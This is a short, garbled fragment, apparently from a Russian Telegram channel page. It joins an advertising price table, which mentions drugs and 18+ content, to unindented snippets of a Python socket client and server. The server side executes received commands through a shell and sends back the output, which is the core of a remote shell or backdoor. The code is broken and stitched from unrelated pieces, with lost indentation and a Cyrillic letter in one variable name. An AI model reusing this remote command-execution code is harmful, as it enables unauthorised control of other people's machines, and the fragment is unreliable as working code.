Цена за 48 часов в ленте | 949,00 |
Цена за 1 час закрепления | N/A |
Взаимопиар | N/A |
- Трэш, нарк, 18+ |
|
command = input("$ ")
if not command:
continue
s.send(command.encode())
data = s.recv(1024).decode()
print(data)
command = client_socket.recv(1024).decode()
try:
output = subprocess.check_output(command,
shell=True,
stderr=subprocess.STDOUT)
сlient_socket.send(output)
except Exception as e:
client_socket.send(str(e).encode())
python3 server.py